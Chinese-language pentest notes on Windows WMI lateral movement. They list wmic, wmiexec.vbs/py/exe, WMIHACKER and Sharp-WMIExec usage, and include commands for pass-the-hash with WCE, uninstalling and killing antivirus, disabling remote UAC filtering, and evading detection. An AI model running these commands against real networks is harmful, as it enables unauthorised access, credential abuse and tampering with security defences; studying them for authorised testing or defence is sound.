WMIexec
优点:不需要创建服务,在内存中运行,隐蔽性好
缺点:⽹络请求较多;需要对⽅开启rpc服务,现实环境中有六七成机器不开
一、wmi
(Windows 管理规范)Windows Management Instrumentation
介绍
WMI提供了一组本地或远程管理Windows系统的统一接口集,而不是直接通过Windows API,可当作与Windows系统交互的API,最大的优势为可以远程访问。
WMI由Windows系统自带,且整个运行过程都在内存中,不留任何痕迹,所以在渗透中有独特优势。目前wmi已完全整合到PowerShell中,可通过不同wmi类的不同组件实现。
WMI类如Win32_Process,Win32_Service,AntiVirusProduct,Win32_StartupCommand 等 查询WQL语句:PowerShell Get-WmiObject cmdlet
详细介绍:WMI技术介绍和应用——WMI概述_breaksoftware的博客-CSDN博客_wmi.wmi
基本命令
远程控制
wmic /node:IP /user:USER /password:PASSWORD process call create "cmd.exe /c COMMAND > C:\\result.txt" 将执行结果存入文件
由于wmi无回显,所以要将运行结果写入文件,然后远程读取
1.通过IPC建立连接,输出结果:net use \\\\IP\\ipc$ PASSWORD /user:USER , type \\\\IP\\c$\\result.txt
2.设置共享网盘,再将结果复制到本地:net use x: \\\\IP\\c$ PASSWORD /user:USER ,xcopy x:\\\\output.txt
信息搜集
搜索系统运行服务 wmic service list brief |more
搜索运行中的程序 wmic process list brief |more
搜索启动程序 wmic startup list brief |more
搜索共享驱动盘 wmic netuse list brief |more
搜索用户帐户 wmic useraccount list brief |more
搜索计算机DC wmic ntdomain list brief
搜索登录用户 wmic logon list brief |more
搜索已安装的安全更新 wmic qfe list brief |more
搜索时区 wmic timezone list brief |more
任务执行
卸载反病毒程序
wmic product where "name like '%forit%' " get name
wmic product where name=" " call uninstall
停止运行反病毒服务
wmic process where name=" " call terminate
wce windows凭据编辑器(windows hash抓取工具)
基本命令:wce -s user:domain:LM:NT
详细用法:https://blog.csdn.net/qq_17204441/article/details/88834414(已经寄了)
下载地址:Amplia Security - Research - Windows Credentials Editor (WCE)
**wbemtest.exe:**一款强大的图形化工具,是出于诊断工具来设计的
二、wmiexe.vbs
简介
原理
使用VBS脚本调用WMI来模拟 psexec 的功能,在内存中运行不用开服务,更加隐蔽
链接过程
先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机
然后如果提供了账号密码,则用该账号密码建立到目标的IPC连接。
随后WMI建立一个共享文件夹,用于远程读取命令执行的结果。当wmiexec退出时,删除文件共享
执行命令
用户输入命令时,WMI创建进程执行该命令,把结果输出到位于之前共享文件夹中的结果文件。然后,通过FSO组件远程访问该文件,将结果输出。读取完成后,调用WMI执行命令删除结果文件。
由于WMI只负责创建进程,无法判断命令是否执行完毕,所以脚会延迟1200ms后再读取结果文件。但如果命令执行时间大于1200ms,(如systeminfo,ping等),读取结果文件会导致读取的结果不完整,然后在删除结果文件时会出错。所以脚本提供了-waitTIME选项增加等待时间,如-wait5000 为五秒后读取结果
由于执行监听或木马程序时进程会一直存在,导致结果文件被占用,不能删除和改写,导致在进程被kill掉之前wmiexec不能正常工作。所以脚本提供了-persist选项使进程在后台运作,并不输出结果,只返回进程pid以供kill掉
使用前提
目标开启139,445端口(smb服务),使用的用户账户不受UAC限制
⽹络请求较多,需要对⽅开启rpc服务(现实环境中有六七成机器不开)
远程系统的本地安全策略的“⽹络访问: 本地帐户的共享和安全模式”应设为“经典-本地⽤户以⾃⼰的身份验证
uac问题:非域用户登陆到win08和2012中,只有administrator可以登陆成功,其他管理员账号会出现WMIEXEC ERROR: Access is denied
需要在win08或者2012上面执行cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
基本命令
cscript wmiexec.vbs /shell host <username> <password> 半交互shell模式连接
cscript wmiexec.vbs /cmd host <username> <password> command 单条命令执行模式
gethashes 连接成功后抓取hash ?
cscript //nologo 取消显示启动版权标志(没啥用,简洁点)
若只有hash没有密码,可先通过wce进行hash注入,再用wmiexec进行无密码连接:
wce -s user:domain:LM:NT (aad3开头的LM hash为空,可用一串0代替)
cscript wmiexec.vbs /shell ip
32位wce下载:<https://github.com/returnvar/wce>
通用下载:<https://www.ampliasecurity.com/research/windows-credentials-editor/>
常用选项:
/shell 半交互式shell模式(不能执行实时交互的命令)
/cmd 执行单条命令模式(该模式适用于当前的环境不是交互式shell的情况,如在webshell中)
host 目标主机名或ip
command 单条命令模式中,用于指定执行的命令
-wait<TIME> 结果读取延时时间,如“systeminfo -wait5000”五秒后读取结果
-persist 将命令在后台持续运行,不输出结果,并返回进程pid,适用于监听(nc.exe)或木马等
优缺点
优点:不需要创建服务,在内存中运行,隐蔽性好
缺点:⽹络请求较多;需要对⽅开启rpc服务,现实环境中有六七成机器不开
下载地址:https://github.com/k8gege/K8tools
原文地址:https://blog.csdn.net/qq_27446553/article/details/46008473
三、wmiexec.py
原理
通过135端口建立DCOM连接获取win32_Process对象,通过win32_Process的create方法创建程序执行
通过445端口建立smb连接访问admin$共享下的结果文件,完成结果回显
基本用法
python wmiexec.py user:pass@ip 用户密码连接拿shell
python wmiexec.py -hashes LM:NT(可用密码?) domain/user@ip ("command") PTH连接拿shell(可加command执行命令)
# wmiexec.py划分domian用的是斜杠"/",不是反斜杠"\\" !!!
**常用选项**:
-share SHARE 选择回显结果放置的共享文件夹,默认为ADMIN$
-shell-type {cmd,powershell} 选择shell的种类
-nooutput 不显示回显(不进行smb连接)
-ts 给每个日志回显加上时间戳
-silentcommand 不加载cmd.exe运行给定指令(无回显)
-codec CODEC 指定回显的编码(默认utf-8)
-k 使用Kerberos身份验证,基于目标参数从ccache中获取票据
四、wmiexe.exe
用法与wmiexe.py基本一致,会被windows defender检测并阻止
下载地址:https://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe
五、wmihacker
简介
常见的WMIEXEC、PSEXEC通过创建服务或调用Win32_Process.create执行命令,已经被杀软100%拦截。
该横向渗透工具经过改造无需445端口,且暂时免杀
主要功能:命令执行,文件上传、下载,PTH(需结合mimikatz)
基本用法
cscript WMIHACKER.vbs /shell ip user pass 模拟shell模式
cscript WMIHACKER.vbs /cmd ip user pass command 1/0 单个命令执行(1和0决定有无回显)
cscript WMIHACKER.vbs /upload ip user pass localpath remotepath 文件上传
cscript WMIHACKER.vbs /download ip user pass localpath remotepath 文件下载
(密码命令路径可加双引号"")
用户名和密码都填“-”,可在mimikatz通过pth产生的cmd中进行wmi的pth
六、Sharp-WMIExec
笨比脚本,没有回显,只能执行单句命令,能不用就不用(可以用来弹shell,可能免杀)
下载地址:https://github.com/checkymander/Sharp-WMIExec
# win7共享总自动关闭解决方法
运行 > services.msc 将以下服务全部打开,并设为自动:
Function Discovery Resource Publication,SSDP Discovery
UPnP Device Host,DNS Client,SSDP Discovery,Server